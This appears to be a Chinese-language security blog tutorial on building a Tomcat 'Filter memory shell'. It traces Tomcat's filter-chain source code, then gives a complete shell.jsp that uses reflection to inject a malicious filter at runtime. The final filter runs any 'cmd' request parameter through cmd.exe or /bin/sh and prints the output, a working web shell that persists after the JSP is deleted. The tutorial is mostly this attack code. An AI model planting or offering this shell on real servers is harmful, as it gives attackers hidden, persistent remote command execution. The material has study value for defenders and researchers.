Filter内存马
Filter内存马通过向服务器后端注册恶意的过滤器以实现任意命令执行
Filter过滤器
正常情况下可以通过继承HttpFilter类并重写父类的doFilter()方法并通过web.xml文件配置实现一个过滤器
编写一个过滤器,功能是在识别具有cmd参数时向页面打印参数内容
public class CmdFilter extends HttpFilter { @Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { String cmd = req.getParameter("cmd"); if (cmd != null) { res.setContentType("text/html; charset=utf-8"); res.setCharacterEncoding("utf-8"); res.getWriter().println("cmd="+cmd); }else{ super.doFilter(req, res, chain); } } }
|
配置web.xml,注册过滤器,在任意路径进行拦截
<filter> <filter-name>cmdFilter</filter-name> <filter-class>org.example.filter.CmdFilter</filter-class> </filter> <filter-mapping> <filter-name>cmdFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
|
启动Tomcat服务器,最终效果如下

逆向Filter注册
正常情况下想要创建一个新过滤器,需要在后端编写过滤器源码、更新配置文件、重启服务器等操作。然而在攻击角度上看,我们不可能通过修改后端源码的方式去注册一个恶意Filter。所以一般情况下,我们需要将一个jsp文件上传至后端,通过访问该jsp文件执行后端代码注册Filter
接下来需要知道如何在程序运行时动态注册Filter
步入父类HttpFilter的doFilter()方法,发现从public修饰的doFilter()跳到了protected修饰的doFilter()
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { if (!(req instanceof HttpServletRequest && res instanceof HttpServletResponse)) { throw new ServletException("non-HTTP request or response"); }
this.doFilter((HttpServletRequest) req, (HttpServletResponse) res, chain); }
|
protected修饰的doFilter()调用了chain的doFilter()
protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException { chain.doFilter(req, res); }
|
chain是一个ApplicationFilterChian实例,其filters字段是一个数组,保存着注册的Filter

在ApplicationFilterChian类的doFilter()方法中,最后都会执行internalDoFilter()方法
public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException { if (Globals.IS_SECURITY_ENABLED) { ServletRequest req = request; ServletResponse res = response;
try { AccessController.doPrivileged(() -> { this.internalDoFilter(req, res); return null; }); } catch (PrivilegedActionException pe) { Exception e = pe.getException(); if (e instanceof ServletException) { throw (ServletException)e; }
if (e instanceof IOException) { throw (IOException)e; }
if (e instanceof RuntimeException) { throw (RuntimeException)e; }
throw new ServletException(e.getMessage(), e); } } else { this.internalDoFilter(request, response); }
}
|
internalDoFilter()方法中,可以一窥Filter的工作机制。该方法从数组中每获取一个Filter后,指针就会顺移到下一个Filter,在internalDoFilter()内部又会执行当前取出Filter的doFIlter(),每次执行完doFIlter()后又会回到该方法,而这时数组的指针已经指向下一个Filter了,直至所有Filter完成拦截
private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException { if (this.pos < this.n) { ApplicationFilterConfig filterConfig = this.filters[this.pos++];
try { Filter filter = filterConfig.getFilter(); if (request.isAsyncSupported() && !filterConfig.getFilterDef().getAsyncSupportedBoolean()) { request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE); }
if (Globals.IS_SECURITY_ENABLED) { Principal principal = ((HttpServletRequest)request).getUserPrincipal(); Object[] args = new Object[]{request, response, this}; SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal); } else { filter.doFilter(request, response, this); }
} catch (ServletException | RuntimeException | IOException e) { throw e; } catch (Throwable t) { Throwable filter = ExceptionUtils.unwrapInvocationTargetException(t); ExceptionUtils.handleThrowable(filter); throw new ServletException(sm.getString("filterChain.filter"), filter); } } else { try { if (this.dispatcherWrapsSameObject) { lastServicedRequest.set(request); lastServicedResponse.set(response); }
if (request.isAsyncSupported() && !this.servletSupportsAsync) { request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE); }
if (request instanceof HttpServletRequest && response instanceof HttpServletResponse && Globals.IS_SECURITY_ENABLED) { Principal principal = ((HttpServletRequest)request).getUserPrincipal(); Object[] args = new Object[]{request, response}; SecurityUtil.doAsPrivilege("service", this.servlet, classTypeUsedInService, args, principal); } else { this.servlet.service(request, response); } } catch (ServletException | RuntimeException | IOException e) { throw e; } catch (Throwable t) { Throwable filterConfig = ExceptionUtils.unwrapInvocationTargetException(t); ExceptionUtils.handleThrowable(filterConfig); throw new ServletException(sm.getString("filterChain.servlet"), filterConfig); } finally { if (this.dispatcherWrapsSameObject) { lastServicedRequest.set((Object)null); lastServicedResponse.set((Object)null); }
}
} }
|
还可以发现,filters是一个ApplicationFilterConfig数组而不是Filter数组,要对取出的ApplicationFilterConfig调用getFilter()方法才能获取Filter实例。当前的目标是得知filters在何时被赋值,因为该字段的声明中一开始是一个空数组
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
|
发现ApplicationFilterChain的addFilter()方法实现了对该字段的赋值
void addFilter(ApplicationFilterConfig filterConfig) { for(int i = 0; i < this.n; ++i) { if (this.filters[i] == filterConfig) { return; } }
if (this.n == this.filters.length) { this.filters = (ApplicationFilterConfig[])Arrays.copyOf(this.filters, this.n + 10); }
this.filters[this.n++] = filterConfig; }
|
查找调用了该方法的类,在ApplicationFilterFactory类的creatFilterChain()中调用了该方法
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) { if (servlet == null) { return null; } else { ApplicationFilterChain filterChain; if (request instanceof Request) { Request req = (Request)request; if (Globals.IS_SECURITY_ENABLED) { filterChain = new ApplicationFilterChain(); } else { filterChain = (ApplicationFilterChain)req.getFilterChain(); if (filterChain == null) { filterChain = new ApplicationFilterChain(); req.setFilterChain(filterChain); } } } else { filterChain = new ApplicationFilterChain(); }
filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); StandardContext context = (StandardContext)wrapper.getParent(); filterChain.setDispatcherWrapsSameObject(context.getDispatcherWrapsSameObject()); FilterMap[] filterMaps = context.findFilterMaps(); if (filterMaps != null && filterMaps.length != 0) { DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE"); String requestPath = FilterUtil.getRequestPath(request); String servletName = wrapper.getName();
for(FilterMap filterMap : filterMaps) { if (matchDispatcher(filterMap, dispatcher) && FilterUtil.matchFiltersURL(filterMap, requestPath)) { ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); if (filterConfig == null) { log.warn(sm.getString("applicationFilterFactory.noFilterConfig", new Object[]{filterMap.getFilterName()})); } else { filterChain.addFilter(filterConfig); } } }
for(FilterMap filterMap : filterMaps) { if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) { ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); if (filterConfig == null) { log.warn(sm.getString("applicationFilterFactory.noFilterConfig", new Object[]{filterMap.getFilterName()})); } else { filterChain.addFilter(filterConfig); } } }
return filterChain; } else { return filterChain; } } }
|
方法中,filterChain作为ApplicationFilterChain实例被声明,而后被赋值为filterConfig,filterConfig从context.findFilterConfig(filterMap.getFilterName())获取。所以从根本上filters字段的元素从StandardContext中获取
StandardContext类中,findFilterConfig()方法指向filterConfigs字段,该字段为一个Map集合
private final Map<String, ApplicationFilterConfig> filterConfigs = new HashMap();
|
调试可以发现,这个Map的键保存Filter的名称,值为FilterConfig对象

所以,获取StandardContext类,通过反射修改filterConfigs这个Map,使其包含我们的恶意ApplicationFilterConfig
进入ApplicationFilterConfig类,发现该类构造器需要一个FilterDef,FilterDef相当于配置文件中定义Filter名称和类路径的内容,并且后续调用addFilterMap()时会调用FilterDef进行检查
public void addFilterMap(FilterMap filterMap) { this.validateFilterMap(filterMap); this.filterMaps.add(filterMap); this.fireContainerEvent("addFilterMap", filterMap); }
|
调用了validateFilterMap()

因而设置FilterDef是必要的,Name、Filter两个字段是必须的,Filter用于提供现有实例,因为运行时一般不会再进行类加载,FilterClass字段经过我的测试并不是必须的,但考虑到后面可能会出现的空指针,这里可以随便设置一个,设置完后将其加入context
FilterDef filterDef = new FilterDef(); filterDef.setFilterName("CmdFilter"); filterDef.setFilterClass(cmdFilter.getClass().getName()); filterDef.setFilter(new CmdFilter()); context.addFilterDef(filterDef);
|
而且我们还可以通过走FilterDef去给ApplicationFilterConfig传递Filter对象
ApplicationFilterConfig(Context context, FilterDef filterDef) throws ClassCastException, ReflectiveOperationException, ServletException, NamingException, IllegalArgumentException, SecurityException { this.context = context; this.filterDef = filterDef; if (filterDef.getFilter() == null) { this.getFilter(); } else { this.filter = filterDef.getFilter(); context.getInstanceManager().newInstance(this.filter); this.initFilter(); }
}
|
此外,creatFilterChain()方法中通过filterMap.getFilterName()来查找FilterConfigs,故还需要添加一个新FilterMap进入context,通常只需设置FilterName和URLPattern即可
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("CmdFilter"); filterMap.addURLPattern("/*"); context.addFilterMap(filterMap);
|
构造Filter内存马
完事具备,接下来着手构建内存马触发页面shell.jsp,首先要获取StandardContext
ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext context = (StandardContext) standardContextField.get(applicationContext);
|
创建恶意Filter,让它弹个计算器
public class CmdFilter extends HttpFilter { @Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { String cmd = req.getParameter("cmd"); if (cmd != null) { Runtime.getRuntime().exec("calc"); }else{ super.doFilter(req, res, chain); } } }
|
创建恶意ApplicationFilterConfig,并让新FilterMap进入context
FilterDef filterDef = new FilterDef(); filterDef.setFilterName("CmdFilter"); filterDef.setFilterClass(cmdFilter.getClass().getName()); filterDef.setFilter(new CmdFilter()); context.addFilterDef(filterDef);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context, filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("CmdFilter"); filterMap.addURLPattern("/*"); context.addFilterMap(filterMap);
|
将恶意ApplicationFilterConfig加入filterConfigs
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs"); filterConfigsField.setAccessible(true); Map<String, ApplicationFilterConfig> filterConfigs = (Map<String, ApplicationFilterConfig>) filterConfigsField.get(context); filterConfigs.put("CmdFilter", filterConfig);
|
完整的shell.jsp
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%! public class CmdFilter extends HttpFilter { @Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { String cmd = req.getParameter("cmd"); if (cmd != null) { Runtime.getRuntime().exec("calc"); } else { super.doFilter(req, res, chain); } } } %> <% try { ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext context = (StandardContext) standardContextField.get(applicationContext);
CmdFilter cmdFilter = new CmdFilter();
FilterDef filterDef = new FilterDef(); filterDef.setFilterName("CmdFilter"); filterDef.setFilterClass(cmdFilter.getClass().getName()); filterDef.setFilter(cmdFilter); context.addFilterDef(filterDef);
Constructor<?> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context, filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("CmdFilter"); filterMap.addURLPattern("/*"); context.addFilterMap(filterMap);
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs"); filterConfigsField.setAccessible(true); Map<String, ApplicationFilterConfig> filterConfigs = (Map<String, ApplicationFilterConfig>) filterConfigsField.get(context); filterConfigs.put("CmdFilter", filterConfig);
response.getWriter().write("success"); } catch (Exception e) { e.printStackTrace(); } %>
|
执行成功,理论上任意界面存在cmd参数都可执行,且在jsp文件删除后依然有效

内存马回显技术
采用输入输出流进行页面打印
<%! public class CmdFilter extends HttpFilter { @Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { String cmd = req.getParameter("cmd"); if (cmd != null) { StringBuilder output = new StringBuilder(); ProcessBuilder processBuilder; processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd); try { Process process = processBuilder.start(); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { output.append(line).append("\n"); } } catch (IOException e) { throw new RuntimeException(e); } res.setContentType("text/html;charset=UTF-8"); res.getWriter().println(output); } else { super.doFilter(req, res, chain); } } } %>
|
对于Linux系统,ProcessBuilder的参数为("/bin/sh", "-h", cmd)